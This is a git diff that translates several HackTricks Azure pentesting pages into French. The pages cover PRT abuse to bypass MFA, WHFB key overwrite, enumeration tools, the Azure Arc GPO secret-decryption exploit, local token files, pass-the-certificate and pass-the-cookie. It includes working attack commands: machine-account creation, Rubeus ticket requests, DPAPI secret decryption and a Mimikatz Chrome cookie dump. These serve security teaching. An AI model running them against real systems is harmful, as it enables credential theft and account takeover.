-Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**.
+Qui vous donnera un **certificat que vous pouvez utiliser pour demander des PRT à l'avenir**. Cela permet de maintenir la persistance et **de contourner MFA** car le jeton PRT original utilisé pour enregistrer le nouvel appareil **avait déjà des autorisations MFA accordées**.
 
 > [!TIP]
-> Note that to perform this attack you will need permissions to **register new devices**. Also, registering a device doesn't mean the device will be **allowed to enrol into Intune**.
+> Notez que pour effectuer cette attaque, vous aurez besoin d'autorisations pour **enregistrer de nouveaux appareils**. De plus, enregistrer un appareil ne signifie pas que l'appareil sera **autorisé à s'inscrire dans Intune**.
 
 > [!CAUTION]
-> This attack was fixed in September 2021 as you can no longer register new devices using a SSO tokens. However, it's still possible to register devices in a legit way (having username, password and MFA if needed). Check: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
+> Cette attaque a été corrigée en septembre 2021 car vous ne pouvez plus enregistrer de nouveaux appareils en utilisant des jetons SSO. Cependant, il est toujours possible d'enregistrer des appareils de manière légitime (en ayant un nom d'utilisateur, un mot de passe et MFA si nécessaire). Vérifiez : [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md).
 
-## Overwriting a device ticket
+## Écraser un ticket d'appareil
 
-It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info [**check this talk**](https://youtu.be/BduCn8cLV1A).
+Il était possible de **demander un ticket d'appareil**, **écraser** l'actuel de l'appareil, et pendant le flux **voler le PRT** (donc pas besoin de le voler depuis le TPM. Pour plus d'infos [**vérifiez cette présentation**](https://youtu.be/BduCn8cLV1A).
 
 <figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>
 
 > [!CAUTION]
-> However, this was fixed.
+> Cependant, cela a été corrigé.
 
-## Overwrite WHFB key
+## Écraser la clé WHFB
 
-[**Check the original slides here**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
+[**Vérifiez les diapositives originales ici**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf)
 
-Attack summary:
+Résumé de l'attaque :
 
-- It's possible to **overwrite** the **registered WHFB** key from a **device** via SSO
-- It **defeats TPM protection** as the key is **sniffed during the generation** of the new key
-- This also provides **persistence**
+- Il est possible d'**écraser** la clé **WHFB enregistrée** d'un **appareil** via SSO
+- Cela **contourne la protection TPM** car la clé est **interceptée lors de la génération** de la nouvelle clé
+- Cela fournit également **de la persistance**
 
 <figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
 
-Users can modify their own searchableDeviceKey property via the Azure AD Graph, however, the attacker needs to have a device in the tenant (registered on the fly or having stolen cert + key from a legit device) and a valid access token for the AAD Graph.
-
-Then, it's possible to generate a new key with:
+Les utilisateurs peuvent modifier leur propre propriété searchableDeviceKey via l'Azure AD Graph, cependant, l'attaquant doit avoir un appareil dans le locataire (enregistré à la volée ou ayant volé un cert + clé d'un appareil légitime) et un jeton d'accès valide pour le Graph AAD.
 
+Ensuite, il est possible de générer une nouvelle clé avec :
 ```bash
 roadtx genhellokey -d <device id> -k tempkey.key
 ```
-
-and then PATCH the information of the searchableDeviceKey:
+et ensuite PATCH les informations de searchableDeviceKey :
 
 <figure><img src="../../images/image (36).png" alt=""><figcaption></figcaption></figure>
 
-It's possible to get an access token from a user via **device code phishing** and abuse the previous steps to **steal his access**. For more information check:
+Il est possible d'obtenir un jeton d'accès d'un utilisateur via **device code phishing** et d'abuser des étapes précédentes pour **voler son accès**. Pour plus d'informations, consultez :
 
 {{#ref}}
 az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md
@@ -100,14 +94,10 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en
 
 <figure><img src="../../images/image (37).png" alt=""><figcaption></figcaption></figure>
 
-## References
+## Références
 
 - [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A)
 - [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
 - [https://www.youtube.com/watch?v=AFay_58QubY](https://www.youtube.com/watch?v=AFay_58QubY)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
index 6a0dce1da..595972ebc 100644
--- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md
+++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
@@ -1,11 +1,11 @@
-# Az - Enumeration Tools
+# Az - Outils d'énumération
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Install PowerShell in Linux
+## Installer PowerShell sur Linux
 
 > [!TIP]
-> In linux you will need to install PowerShell Core:
+> Sur Linux, vous devrez installer PowerShell Core :
 >
 > ```bash
 > sudo apt-get update
@@ -14,11 +14,11 @@
 > # Ubuntu 20.04
 > wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb
 >
-> # Update repos
+> # Mettre à jour les dépôts
 > sudo apt-get update
 > sudo add-apt-repository universe
 >
-> # Install & start powershell
+> # Installer et démarrer powershell
 > sudo apt-get install -y powershell
 > pwsh
 >
@@ -26,58 +26,47 @@
 > curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
 > ```
 
-## Install PowerShell in MacOS
+## Installer PowerShell sur MacOS
 
-Instructions from the [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4):
-
-1. Install `brew` if not installed yet:
+Instructions de la [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) :
 
+1. Installez `brew` si ce n'est pas encore fait :
 ```bash
 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
 ```
-
-2. Install the latest stable release of PowerShell:
-
+2. Installez la dernière version stable de PowerShell :
 ```sh
 brew install powershell/tap/powershell
 ```
-
-3. Run PowerShell:
-
+3. Exécuter PowerShell :
 ```sh
 pwsh
 ```
-
-4. Update:
-
+4. Mise à jour :
 ```sh
 brew update
 brew upgrade powershell
 ```
-
-## Main Enumeration Tools
+## Outils Principaux d'Enumeration
 
 ### az cli
 
-[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is a cross-platform tool written in Python for managing and administering (most) Azure and Entra ID resources. It connects to Azure and executes administrative commands via the command line or scripts.
+[**Interface de ligne de commande Azure (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) est un outil multiplateforme écrit en Python pour gérer et administrer (la plupart des) ressources Azure et Entra ID. Il se connecte à Azure et exécute des commandes administratives via la ligne de commande ou des scripts.
 
-Follow this link for the [**installation instructions¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
+Suivez ce lien pour les [**instructions d'installation¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
 
-Commands in Azure CLI are structured using a pattern of: `az <service> <action> <parameters>`
+Les commandes dans Azure CLI sont structurées en utilisant un modèle de : `az <service> <action> <parameters>`
 
-#### Debug | MitM az cli
-
-Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending:
+#### Déboguer | MitM az cli
 
+En utilisant le paramètre **`--debug`**, il est possible de voir toutes les requêtes que l'outil **`az`** envoie :
 ```bash
 az account management-group list --output table --debug
 ```
-
-In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
+Pour effectuer un **MitM** sur l'outil et **vérifier toutes les requêtes** qu'il envoie manuellement, vous pouvez faire :
 
 {{#tabs }}
 {{#tab name="Bash" }}
-
 ```bash
 export ADAL_PYTHON_SSL_NO_VERIFY=1
 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
@@ -90,64 +79,53 @@ export HTTP_PROXY="http://127.0.0.1:8080"
 openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
 export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
 ```
-
 {{#endtab }}
 
 {{#tab name="PS" }}
-
 ```bash
 $env:ADAL_PYTHON_SSL_NO_VERIFY=1
 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
 $env:HTTPS_PROXY="http://127.0.0.1:8080"
 $env:HTTP_PROXY="http://127.0.0.1:8080"
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
 ### Az PowerShell
 
-Azure PowerShell is a module with cmdlets for managing Azure resources directly from the PowerShell command line.
+Azure PowerShell est un module avec des cmdlets pour gérer les ressources Azure directement depuis la ligne de commande PowerShell.
 
-Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
+Suivez ce lien pour les [**instructions d'installation**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell).
 
-Commands in Azure PowerShell AZ Module are structured like: `<Action>-Az<Service> <parameters>`
+Les commandes dans le module Azure PowerShell AZ sont structurées comme : `<Action>-Az<Service> <parameters>`
 
 #### Debug | MitM Az PowerShell
 
-Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending:
-
+En utilisant le paramètre **`-Debug`**, il est possible de voir toutes les requêtes que l'outil envoie :
 ```bash
 Get-AzResourceGroup -Debug
 ```
-
-In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
+Pour effectuer un **MitM** sur l'outil et **vérifier toutes les requêtes** qu'il envoie manuellement, vous pouvez définir les variables d'environnement `HTTPS_PROXY` et `HTTP_PROXY` selon la [**documentation**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
 
 ### Microsoft Graph PowerShell
 
-Microsoft Graph PowerShell is a cross-platform SDK that enables access to all Microsoft Graph APIs, including services like SharePoint, Exchange, and Outlook, using a single endpoint. It supports PowerShell 7+, modern authentication via MSAL, external identities, and advanced queries. With a focus on least privilege access, it ensures secure operations and receives regular updates to align with the latest Microsoft Graph API features.
+Microsoft Graph PowerShell est un SDK multiplateforme qui permet d'accéder à toutes les API Microsoft Graph, y compris des services comme SharePoint, Exchange et Outlook, en utilisant un seul point de terminaison. Il prend en charge PowerShell 7+, l'authentification moderne via MSAL, les identités externes et les requêtes avancées. Avec un accent sur l'accès avec le moindre privilège, il garantit des opérations sécurisées et reçoit des mises à jour régulières pour s'aligner sur les dernières fonctionnalités de l'API Microsoft Graph.
 
-Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
+Suivez ce lien pour les [**instructions d'installation**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation).
 
-Commands in Microsoft Graph PowerShell are structured like: `<Action>-Mg<Service> <parameters>`
+Les commandes dans Microsoft Graph PowerShell sont structurées comme suit : `<Action>-Mg<Service> <parameters>`
 
-#### Debug Microsoft Graph PowerShell
-
-Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending:
+#### Déboguer Microsoft Graph PowerShell
 
+En utilisant le paramètre **`-Debug`**, il est possible de voir toutes les requêtes que l'outil envoie :
 ```bash
 Get-MgUser -Debug
 ```
-
 ### ~~**AzureAD Powershell**~~
 
-The Azure Active Directory (AD) module, now **deprecated**, is part of Azure PowerShell for managing Azure AD resources. It provides cmdlets for tasks like managing users, groups, and application registrations in Entra ID.
+Le module Azure Active Directory (AD), maintenant **déprécié**, fait partie d'Azure PowerShell pour gérer les ressources Azure AD. Il fournit des cmdlets pour des tâches telles que la gestion des utilisateurs, des groupes et des enregistrements d'applications dans Entra ID.
 
 > [!TIP]
-> This is replaced by Microsoft Graph PowerShell
-
-Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
-
-
-
+> Cela est remplacé par Microsoft Graph PowerShell
 
+Suivez ce lien pour les [**instructions d'installation**](https://www.powershellgallery.com/packages/AzureAD).
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
index e53ceb412..f467b7d22 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
@@ -1,20 +1,19 @@
-# Az - Arc vulnerable GPO Deploy Script
+# Az - Arc script de déploiement GPO vulnérable
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-### Identifying the Issues
+### Identification des problèmes
 
-Azure Arc allows for the integration of new internal servers (joined domain servers) into Azure Arc using the Group Policy Object method. To facilitate this, Microsoft provides a deployment toolkit necessary for initiating the onboarding procedure. Inside the ArcEnableServerGroupPolicy.zip file, the following scripts can be found: DeployGPO.ps1, EnableAzureArc.ps1, and AzureArcDeployment.psm1.
+Azure Arc permet l'intégration de nouveaux serveurs internes (serveurs de domaine joints) dans Azure Arc en utilisant la méthode de l'objet de stratégie de groupe. Pour faciliter cela, Microsoft fournit un kit d'outils de déploiement nécessaire pour initier la procédure d'intégration. Dans le fichier ArcEnableServerGroupPolicy.zip, les scripts suivants peuvent être trouvés : DeployGPO.ps1, EnableAzureArc.ps1 et AzureArcDeployment.psm1.
 
-When executed, the DeployGPO.ps1 script performs the following actions:
+Lors de son exécution, le script DeployGPO.ps1 effectue les actions suivantes :
 
-1. Creates the Azure Arc Servers Onboarding GPO within the local domain.
-2. Copies the EnableAzureArc.ps1 onboarding script to the designated network share created for the onboarding process, which also contains the Windows installer package.
+1. Crée le GPO d'intégration des serveurs Azure Arc dans le domaine local.
+2. Copie le script d'intégration EnableAzureArc.ps1 dans le partage réseau désigné créé pour le processus d'intégration, qui contient également le package d'installation Windows.
 
-When running this script, sys admins need to provide two main parameters: **ServicePrincipalId** and **ServicePrincipalClientSecret**. Additionally, it requires other parameters such as the domain, the FQDN of the server hosting the share, and the share name. Further details such as the tenant ID, resource group, and other necessary information must also be provided to the script.
-
-An encrypted secret is generated in the AzureArcDeploy directory on the specified share using DPAPI-NG encryption. The encrypted secret is stored in a file named encryptedServicePrincipalSecret. Evidence of this can be found in the DeployGPO.ps1 script, where the encryption is performed by calling ProtectBase64 with $descriptor and $ServicePrincipalSecret as inputs. The descriptor consists of the Domain Computer and Domain Controller group SIDs, ensuring that the ServicePrincipalSecret can only be decrypted by the Domain Controllers and Domain Computers security groups, as noted in the script comments.
+Lors de l'exécution de ce script, les administrateurs système doivent fournir deux paramètres principaux : **ServicePrincipalId** et **ServicePrincipalClientSecret**. De plus, il nécessite d'autres paramètres tels que le domaine, le FQDN du serveur hébergeant le partage et le nom du partage. D'autres détails tels que l'ID de locataire, le groupe de ressources et d'autres informations nécessaires doivent également être fournis au script.
 
+Un secret chiffré est généré dans le répertoire AzureArcDeploy sur le partage spécifié en utilisant le chiffrement DPAPI-NG. Le secret chiffré est stocké dans un fichier nommé encryptedServicePrincipalSecret. Des preuves de cela peuvent être trouvées dans le script DeployGPO.ps1, où le chiffrement est effectué en appelant ProtectBase64 avec $descriptor et $ServicePrincipalSecret comme entrées. Le descripteur se compose des SID des groupes Domain Computer et Domain Controller, garantissant que le ServicePrincipalSecret ne peut être déchiffré que par les groupes de sécurité Domain Controllers et Domain Computers, comme noté dans les commentaires du script.
 ```powershell
 # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
 $DomainComputersSID = "SID=" + $DomainComputersSID
@@ -23,24 +22,20 @@ $descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
 Import-Module $PSScriptRoot\AzureArcDeployment.psm1
 $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)
 ```
-
 ### Exploit
 
-We have the follow conditions:
+Nous avons les conditions suivantes :
 
-1. We have successfully penetrated the internal network.
-2. We have the capability to create or assume control of a computer account within Active Directory.
-3. We have discovered a network share containing the AzureArcDeploy directory.
-
-There are several methods to obtain a machine account within an AD environment. One of the most common is exploiting the machine account quota. Another method involves compromising a machine account through vulnerable ACLs or various other misconfigurations.
+1. Nous avons réussi à pénétrer le réseau interne.
+2. Nous avons la capacité de créer ou de prendre le contrôle d'un compte d'ordinateur au sein d'Active Directory.
+3. Nous avons découvert un partage réseau contenant le répertoire AzureArcDeploy.
 
+Il existe plusieurs méthodes pour obtenir un compte machine dans un environnement AD. L'une des plus courantes consiste à exploiter le quota de compte machine. Une autre méthode implique de compromettre un compte machine via des ACL vulnérables ou diverses autres mauvaises configurations.
 ```powershell
 Import-MKodule powermad
 New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
 ```
-
-Once a machine account is obtained, it is possible to authenticate using this account. We can either use the runas.exe command with the netonly flag or use pass-the-ticket with Rubeus.exe.
-
+Une fois qu'un compte machine est obtenu, il est possible de s'authentifier en utilisant ce compte. Nous pouvons soit utiliser la commande runas.exe avec le drapeau netonly, soit utiliser pass-the-ticket avec Rubeus.exe.
 ```powershell
 runas /user:fake01$ /netonly powershell
 ```
@@ -48,9 +43,7 @@ runas /user:fake01$ /netonly powershell
 ```powershell
 .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
 ```
-
-By having the TGT for our computer account stored in memory, we can use the following script to decrypt the service principal secret.
-
+En ayant le TGT pour notre compte d'ordinateur stocké en mémoire, nous pouvons utiliser le script suivant pour déchiffrer le secret du principal de service.
 ```powershell
 Import-Module .\AzureArcDeployment.psm1
 
@@ -59,17 +52,12 @@ $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedSer
 $ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
 $ebs
 ```
+Alternativement, nous pouvons utiliser [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
 
-Alternatively, we can use [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
+À ce stade, nous pouvons rassembler les informations restantes nécessaires pour se connecter à Azure à partir du fichier ArcInfo.json, qui est stocké sur le même partage réseau que le fichier encryptedServicePrincipalSecret. Ce fichier contient des détails tels que : TenantId, servicePrincipalClientId, ResourceGroup, et plus encore. Avec ces informations, nous pouvons utiliser Azure CLI pour nous authentifier en tant que service principal compromis.
 
-At this point, we can gather the remaining information needed to connect to Azure from the ArcInfo.json file, which is stored on the same network share as the encryptedServicePrincipalSecret file. This file contains details such as: TenantId, servicePrincipalClientId, ResourceGroup, and more. With this information, we can use Azure CLI to authenticate as the compromised service principal.
-
-## References
+## Références
 
 - [https://xybytes.com/azure/Abusing-Azure-Arc/](https://xybytes.com/azure/Abusing-Azure-Arc/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
index 2ddcbb0a5..756644ada 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md
@@ -2,42 +2,38 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Local Token Storage and Security Considerations
+## Stockage local des jetons et considérations de sécurité
 
-### Azure CLI (Command-Line Interface)
+### Azure CLI (Interface de ligne de commande)
 
-Tokens and sensitive data are stored locally by Azure CLI, raising security concerns:
+Les jetons et les données sensibles sont stockés localement par Azure CLI, soulevant des préoccupations de sécurité :
 
-1. **Access Tokens**: Stored in plaintext within `accessTokens.json` located at `C:\Users\<username>\.Azure`.
-2. **Subscription Information**: `azureProfile.json`, in the same directory, holds subscription details.
-3. **Log Files**: The `ErrorRecords` folder within `.azure` might contain logs with exposed credentials, such as:
-   - Executed commands with credentials embedded.
-   - URLs accessed using tokens, potentially revealing sensitive information.
+1. **Jetons d'accès** : Stockés en texte clair dans `accessTokens.json` situé à `C:\Users\<username>\.Azure`.
+2. **Informations sur l'abonnement** : `azureProfile.json`, dans le même répertoire, contient les détails de l'abonnement.
+3. **Fichiers journaux** : Le dossier `ErrorRecords` dans `.azure` peut contenir des journaux avec des identifiants exposés, tels que :
+- Commandes exécutées avec des identifiants intégrés.
+- URL accessibles à l'aide de jetons, révélant potentiellement des informations sensibles.
 
 ### Azure PowerShell
 
-Azure PowerShell also stores tokens and sensitive data, which can be accessed locally:
+Azure PowerShell stocke également des jetons et des données sensibles, qui peuvent être accessibles localement :
 
-1. **Access Tokens**: `TokenCache.dat`, located at `C:\Users\<username>\.Azure`, stores access tokens in plaintext.
-2. **Service Principal Secrets**: These are stored unencrypted in `AzureRmContext.json`.
-3. **Token Saving Feature**: Users have the ability to persist tokens using the `Save-AzContext` command, which should be used cautiously to prevent unauthorized access.
+1. **Jetons d'accès** : `TokenCache.dat`, situé à `C:\Users\<username>\.Azure`, stocke les jetons d'accès en texte clair.
+2. **Secrets de principal de service** : Ceux-ci sont stockés non chiffrés dans `AzureRmContext.json`.
+3. **Fonction de sauvegarde de jetons** : Les utilisateurs ont la possibilité de persister les jetons en utilisant la commande `Save-AzContext`, qui doit être utilisée avec prudence pour éviter tout accès non autorisé.
 
-## Automatic Tools to find them
+## Outils automatiques pour les trouver
 
 - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
 - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
 
-## Security Recommendations
+## Recommandations de sécurité
 
-Considering the storage of sensitive data in plaintext, it's crucial to secure these files and directories by:
+Étant donné le stockage de données sensibles en texte clair, il est crucial de sécuriser ces fichiers et répertoires en :
 
-- Limiting access rights to these files.
-- Regularly monitoring and auditing these directories for unauthorized access or unexpected changes.
-- Employing encryption for sensitive files where possible.
-- Educating users about the risks and best practices for handling such sensitive information.
+- Limitant les droits d'accès à ces fichiers.
+- Surveillant et auditant régulièrement ces répertoires pour détecter tout accès non autorisé ou changements inattendus.
+- Employant le chiffrement pour les fichiers sensibles lorsque cela est possible.
+- Éduquant les utilisateurs sur les risques et les meilleures pratiques pour manipuler de telles informations sensibles.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
index f2a5f2f4d..4b8f19e10 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md
@@ -4,40 +4,32 @@
 
 ## Pass the Certificate (Azure)
 
-In Azure joined machines, it's possible to authenticate from one machine to another using certificates that **must be issued by Azure AD CA** for the required user (as the subject) when both machines support the **NegoEx** authentication mechanism.
+Dans les machines jointes à Azure, il est possible de s'authentifier d'une machine à une autre en utilisant des certificats qui **doivent être émis par Azure AD CA** pour l'utilisateur requis (en tant que sujet) lorsque les deux machines prennent en charge le mécanisme d'authentification **NegoEx**.
 
-In super simplified terms:
+En termes super simplifiés :
 
-- The machine (client) initiating the connection **needs a certificate from Azure AD for a user**.
-- Client creates a JSON Web Token (JWT) header containing PRT and other details, sign it using the Derived key (using the session key and the security context) and **sends it to Azure AD**
-- Azure AD verifies the JWT signature using client session key and security context, checks validity of PRT and **responds** with the **certificate**.
+- La machine (client) initiant la connexion **a besoin d'un certificat d'Azure AD pour un utilisateur**.
+- Le client crée un en-tête JSON Web Token (JWT) contenant PRT et d'autres détails, le signe en utilisant la clé dérivée (en utilisant la clé de session et le contexte de sécurité) et **l'envoie à Azure AD**.
+- Azure AD vérifie la signature JWT en utilisant la clé de session du client et le contexte de sécurité, vérifie la validité du PRT et **répond** avec le **certificat**.
 
-In this scenario and after grabbing all the info needed for a [**Pass the PRT**](pass-the-prt.md) attack:
+Dans ce scénario et après avoir récupéré toutes les informations nécessaires pour une attaque [**Pass the PRT**](pass-the-prt.md) :
 
-- Username
-- Tenant ID
+- Nom d'utilisateur
+- ID de locataire
 - PRT
-- Security context
-- Derived Key
-
-It's possible to **request P2P certificate** for the user with the tool [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
+- Contexte de sécurité
+- Clé dérivée
 
+Il est possible de **demander un certificat P2P** pour l'utilisateur avec l'outil [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
 ```bash
 RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
 ```
-
-The certificates will last the same as the PRT. To use the certificate you can use the python tool [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) that will **authenticate** to the remote machine, run **PSEXEC** and **open a CMD** on the victim machine. This will allow us to use Mimikatz again to get the PRT of another user.
-
+Les certificats dureront aussi longtemps que le PRT. Pour utiliser le certificat, vous pouvez utiliser l'outil python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) qui va **authentifier** la machine distante, exécuter **PSEXEC** et **ouvrir un CMD** sur la machine victime. Cela nous permettra d'utiliser à nouveau Mimikatz pour obtenir le PRT d'un autre utilisateur.
 ```bash
 Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
 ```
+## Références
 
-## References
-
-- For more details about how Pass the Certificate works check the original post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
+- Pour plus de détails sur le fonctionnement de Pass the Certificate, consultez le post original [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
index f6695c40a..5887cd1bc 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md
@@ -2,40 +2,34 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Why Cookies?
+## Pourquoi les cookies ?
 
-Browser **cookies** are a great mechanism to **bypass authentication and MFA**. Because the user has already authenticated in the application, the session **cookie** can just be used to **access data** as that user, without needing to re-authenticate.
+Les **cookies** de navigateur sont un excellent mécanisme pour **contourner l'authentification et la MFA**. Comme l'utilisateur s'est déjà authentifié dans l'application, le **cookie** de session peut simplement être utilisé pour **accéder aux données** en tant qu'utilisateur, sans avoir besoin de se ré-authentifier.
 
-You can see where are **browser cookies located** in:
+Vous pouvez voir où se trouvent les **cookies de navigateur** ici :
 
 {{#ref}}
 https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts?q=browse#google-chrome
 {{#endref}}
 
-## Attack
+## Attaque
 
-The challenging part is that those **cookies are encrypted** for the **user** via the Microsoft Data Protection API (**DPAPI**). This is encrypted using cryptographic [keys tied to the user](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) the cookies belong to. You can find more information about this in:
+La partie difficile est que ces **cookies sont chiffrés** pour l'**utilisateur** via l'API de protection des données Microsoft (**DPAPI**). Cela est chiffré en utilisant des [clés cryptographiques liées à l'utilisateur](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) auquel appartiennent les cookies. Vous pouvez trouver plus d'informations à ce sujet ici :
 
 {{#ref}}
 https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
 {{#endref}}
 
-With Mimikatz in hand, I am able to **extract a user’s cookies** even though they are encrypted with this command:
-
+Avec Mimikatz en main, je peux **extraire les cookies d'un utilisateur** même s'ils sont chiffrés avec cette commande :
 ```bash
 mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
 ```
+Pour Azure, nous nous soucions des cookies d'authentification, y compris **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`** et **`ESTSAUTHLIGHT`**. Ceux-ci sont présents parce que l'utilisateur a été actif sur Azure récemment.
 
-For Azure, we care about the authentication cookies including **`ESTSAUTH`**, **`ESTSAUTHPERSISTENT`**, and **`ESTSAUTHLIGHT`**. Those are there because the user has been active on Azure lately.
+Il suffit de naviguer vers login.microsoftonline.com et d'ajouter le cookie **`ESTSAUTHPERSISTENT`** (généré par l'option “Rester connecté”) ou **`ESTSAUTH`**. Et vous serez authentifié.
 
-Just navigate to login.microsoftonline.com and add the cookie **`ESTSAUTHPERSISTENT`** (generated by “Stay Signed In” option) or **`ESTSAUTH`**. And you will be authenticated.
-
-## References
+## Références
 
